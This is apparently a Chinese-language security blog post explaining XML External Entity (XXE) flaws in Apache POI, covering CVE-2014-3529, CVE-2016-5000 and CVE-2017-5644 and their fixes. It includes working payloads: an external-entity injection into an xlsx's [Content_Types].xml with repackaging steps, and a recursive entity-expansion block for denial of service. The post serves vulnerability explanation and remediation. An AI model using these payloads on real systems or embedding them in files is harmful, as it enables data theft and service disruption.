Apache POI XML外部實體(XML External Entity,XXE)攻擊詳解
0.1362019.08.09 11:55:51字數 1,699閱讀 3,912
最近安全掃描掃出一些版本的 POI 存在 XEE 漏洞。總結一下XXE的相關知識和漏洞攻擊解析。
一、背景知識
想要知道 XXE
是什么,我們首先需要了解一下 XML
的相關知識。
1、XML基礎知識
XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
DTD的作用是定義 XML 文檔的合法構建模塊。DTD 可以在 XML 文檔內聲明,也可以外部引用。
DTD文檔有三種應用形式:
-
內部DTD文檔
<!DOCTYPE 根元素[定義內容]>
-
外部DTD文檔
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
-
內外部DTD文檔結合
<!DOCTYPE 根元素 SYSTEM "DTD文檔路徑"[定義內容]>
其中第二三種類型中的SYSTEM是一種標識符,可以理解為:根據DTD資源路徑,加載這個外部資源的內容,並賦值給前面的根元素,該標識符意味着該實體將從外部來源獲取內容。這就給了攻擊者一個攻擊的可能。
2、 XXE漏洞原理
XML外部實體(XML External Entity,XXE)攻擊是一種常見的Web安全漏洞,攻擊者可以通過XML的外部實體獲取服務器中本應被保護的數據。
XML解析器解析外部實體時支持多種協議:
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | file | file |
http | http | http | http |
ftp | ftp | ftp | ftp |
php | https | https | |
compress.zlib | jar | ||
data | netdoc | ||
glob | mailto | ||
phar | gopher |
如使用file協議可以讀取本地文件內容、使用http協議可以獲取Web資源等,因此攻擊者可構造惡意的外部實體,當解析器解析了包含“惡意”外部實體的XML類型文件時,便會導致被XXE攻擊。
另外,一般來說,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內存中,進行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調用XML定義,一次性調用巨量的定義,那么服務器的內存就會被消耗完,造成了拒絕服務攻擊(Dos)。
3、Apache POI
Apache POI 是 Apache 軟件基金會的開源項目,POI 提供 API 接口給 Java 程序對 Microsoft office 格式文檔讀寫能力。
Microsoft Office從2007版本引入了新的開放的XML文件格式,新的XML文件格式基於壓縮的ZIP文件格式規范,由許多部分組成。我們可以將其解壓縮到特定的文件夾中來查看其包含的文件夾和文件,可以發現其中多數是描述工作簿數據、元數據、文檔信息的XML文件。所以不正確的讀取07格式的Microsoft office 格式文件也存在着 XXE 攻擊的可能性。
二、漏洞
1、CVE-2014-3529
Apache POI 3.10-FINAL及以前版本被發現允許遠程攻擊者通過注入XML外部實體訪問外部實體資源或者讀取任意文件。
1. 漏洞編號
CVE-2014-3529
2. 影響范圍
poi-ooxml-3.10-FINAL.jar及以下版本
3. 利用文件
[Content-Types].xml
4. 漏洞利用
示例漏洞利用,是檢測注入XML外部實體是否可以訪問外部實體。
-
新建
xxe.xlsx
文件進行解壓縮:unzip ../xxe.xlsx
得到以下文件:
. ├── [Content_Types].xml ├── [trash] │ └── 0000.dat ├── _rels ├── docProps │ ├── app.xml │ └── core.xml └── xl ├── _rels │ └── workbook.xml.rels ├── styles.xml ├── theme │ └── theme1.xml ├── workbook.xml └── worksheets └── sheet1.xml
-
使用文本編輯器打開[Content-Types].xml注入外部實體,在第二行插入實體:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://localhost:3000/ack"> ]> <x>&xxe;</x>
上面的
http://localhost:3000/ack
為本地的測試服務器,如果漏洞觸發,本地服務器將接收到ack的訪問記錄,即復現漏洞。 -
將上述文件重新壓縮成 xlsx。
zip -r xxe.xlsx *
-
測試代碼使用 maven 工程,引入 poi-ooxml-3.10,運行測試程序:
public class XXETest { public static void main(String[] args) { new XSSFWorkbook(new FileInputStream(new File("path/to/xxe.xlsx"))); } }
運行結果雖然有報錯,但是本地服務器接收到了 ack 請求,漏洞利用成功。
5. 漏洞分析
poi-ooxml
包里 org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile
中讀取 [Content-Types].xml
時沒有進行 XXE 防護。
6. 修復方案
升級 poi-ooxml.jar 到 3.11 或以上版本。
原理是通過讀取的時候使用新工具類的方法進行讀取org.apache.poi.util.DocumentHelper#readDocument(java.io.InputStream) 進行 XXE 防護。
2、CVE-2016-5000
這個漏洞主要是 POI 官方示例中的 XLSX2CSV 示例不正確讀取 xlsx 觸發的 xxe。這里不再復現。
修復方案
升級 poi-ooxml.jar 到 3.14 或以上版本。
3、CVE-2017-5644
1. 漏洞編號
CVE-2017-5644
2. 影響范圍
poi-ooxml-3.15.jar
及以下版本。
3. 利用文件
xl/workbook.xml
4. 漏洞利用
其他步驟同CVE-2014-3529中的方式,這次是在 xl/workbook.xml
中注入實體:
<!DOCTYPE x [
<!ENTITY e1 "">
<!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
<!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
<!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
<!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
<!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
<!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
<!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
<!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
<!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
<!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>
<x>&e11;</x>
代碼引用ENTITY e11
,而 e11
由16 個 e10
組成,遞歸調用,循環次數達到 16^10
的規模。循環大量的實體引用,會消耗大量的CPU資源,長時間顯示占用近100%。
5. 漏洞分析
POIXMLTypeLoader
中,解析xml的時候直接讀取xml,沒有對實體的數量進行限制。3.11 對 POIXMLTypeLoader 中的實體大小進行了限制 ,最大為4096,但是當實體為空的時候(如上例),還是可以構造空實體,形成大量循環,占用 cpu
資源,造成拒絕服務攻擊。
6.修復方案
升級 poi-ooxml.jar
到 3.14
或以上版本。
或
自行修復 POIXMLTypeLoader
中的相關代碼段:
public static XmlObject parse(InputStream jiois, SchemaType type, XmlOptions options) throws XmlException, IOException {
try {
// 使用 DocumentHelper.readDocument 解析
Document doc = DocumentHelper.readDocument(jiois);
return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
} catch (SAXException e) {
throw new IOException("Unable to parse xml bean", e);
}
}
public static XmlObject parse(Reader jior, SchemaType type, XmlOptions options) throws XmlException, IOException {
try {
// 使用 DocumentHelper.readDocument 解析
Document doc = DocumentHelper.readDocument(new InputSource(jior));
return XmlBeans.getContextTypeLoader().parse(doc.getDocumentElement(), type, getXmlOptions(options));
} catch (SAXException e) {
throw new XmlException("Unable to parse xml bean", e);
}
}